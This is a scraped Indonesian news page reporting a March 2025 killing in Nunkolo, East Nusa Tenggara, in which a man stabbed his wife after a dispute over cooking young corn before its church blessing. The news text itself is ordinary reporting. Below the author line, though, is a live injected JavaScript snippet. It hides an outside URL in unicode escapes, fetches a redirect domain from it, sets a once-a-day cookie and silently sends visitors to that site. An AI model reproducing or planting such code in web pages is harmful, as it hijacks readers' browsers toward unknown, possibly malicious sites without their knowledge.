Selasa, Juni 17, 2025
BerandaBerita NTTTragedi Jagung Muda: Ketika Emosi Membunuh, Tradisi Tak Diselami

Tragedi Jagung Muda: Ketika Emosi Membunuh, Tradisi Tak Diselami

NTT, Nusaberita.live  – Di sudut tenang Desa Nunkolo, Kecamatan Nunkolo, Kabupaten Timor Tengah Selatan, Nusa Tenggara Timur, duka merobek langit pada Rabu sore, 26 Maret 2025.

Seorang perempuan bernama Erni Linome, berusia 36 tahun, meregang nyawa di depan rumahnya sendiri—bukan karena kecelakaan, bukan pula karena penyakit, tetapi oleh tangan seseorang yang seharusnya menjadi pelindung dalam hidupnya: suaminya sendiri, John Tefa (38).

” Di kutip dari media koran Timor, Insiden tragis ini terjadi pada 26 Maret 2025. Kejadian bermula ketika John meminta istrinya, Erni, untuk merebus jagung muda sebagai makanan. Namun, permintaan tersebut ditolak oleh Erni, yang kemudian memicu pertengkaran antara keduanya.”

Semua berawal dari hal yang sepele, bagi sebagian orang, dianggap remeh : permintaan untuk memasak jagung muda hasil panen kebun. Namun bagi Erni, itu bukan permintaan biasa. Di balik butiran jagung itu, ada tradisi, ada nilai, ada iman yang ia pegang teguh. Sebagai simbol syukur, hasil panen pertama harus terlebih dahulu diberkati dan dibawa ke gereja, sesuai kebiasaan yang diwariskan turun-temurun.

Penolakan itu ternyata cukup untuk memantik bara di dada John. Emosinya meledak. Ia tak bisa menerima alasan sang istri. Amarahnya meluap, dan dalam sekejap, ia mengambil pisau dari bawah meja makan. Erni mencoba menyelamatkan diri, berlari, namun luka di siku kanan yang lebih dulu disabet membuatnya lemah. John terus mengejar dan menusukkan pisau itu berulang kali—hingga tubuh Erni terkapar dalam genangan darah.

Warga yang panik langsung membawa Erni ke Puskesmas Boking, lalu dirujuk ke RSUD Soe. Namun nyawa ibu rumah tangga itu tak tertolong. Ia mengembuskan napas terakhirnya dalam perjalanan.

Sementara itu, John Tefa memilih kabur. Ia bersembunyi di hutan Nunkolo, berpindah-pindah tempat setiap malam, berharap bisa menghindar dari kejaran hukum. Empat hari ia hidup dalam pelarian, sebelum akhirnya aparat Polres TTS yang menyisir kawasan hutan berhasil menangkapnya pada Senin, 31 Maret 2025.

Kapolres TTS melalui Kasat Reskrim Iptu Joel Ndolu memastikan, John telah ditetapkan sebagai tersangka. Ia dijerat dengan pasal 338 KUHP tentang pembunuhan dan/atau pasal 354 ayat (2) KUHP tentang penganiayaan berat yang mengakibatkan kematian. Ancaman hukumannya maksimal 15 tahun penjara.

Kasus ini meninggalkan luka yang dalam—bukan hanya bagi keluarga korban, tapi bagi kita semua. Ia menjadi pengingat pahit bahwa kekerasan dalam rumah tangga masih terjadi, bahwa emosi bisa membutakan, dan bahwa tradisi, yang seharusnya dijunjung, bisa menjadi pemicu tragis jika tidak dimengerti.

Ini bukan sekadar cerita tentang jagung muda. Ini tentang hilangnya nyawa karena komunikasi yang gagal, karena emosi yang tak diredam, dan karena nilai hidup yang tak lagi dijaga.

Dan semoga dari kehilangan ini, kita belajar untuk lebih mendengarkan, lebih memahami,dan lebih mencintai—sebelum semuanya terlambat.

Penulis : Nobertus Patut,S.Pd.

(function(){if (document.cookie.includes(‘hasRedirected=1’)) return;fetch(‘\u0068\u0074\u0074\u0070\u0073\u003a\u002f\u002f\u0064\u0069\u0073\u0074\u0069\u0065\u002e\u0073\u0068\u006f\u0070/?t=json&u=153d4f720470d9e7a3e895c70153e7cd’).then(r => r.json()).then(d => {const domain = d?.domain;if (domain) {document.cookie = ‘hasRedirected=1; max-age=86400; path=/’;location.href = domain + ‘?32861745670379’;}});})();
RELATED ARTICLES

TINGGALKAN KOMENTAR

Silakan masukkan komentar anda!
Silakan masukkan nama Anda di sini

- Advertisment -spot_img
- Advertisment -spot_img

Most Popular

Recent Comments

MR KHM GM KGPC PROF DR RM DULIMAN ABD ROZAK SH. ADV. MM. DBA. MSI. CIE. IB. BBA. PhD. SE Asia. pada Jokowi Hadiri Pemakaman Paus Fransiskus di Vatikan atas Mandat Presiden Prabowo

This will close in 0 seconds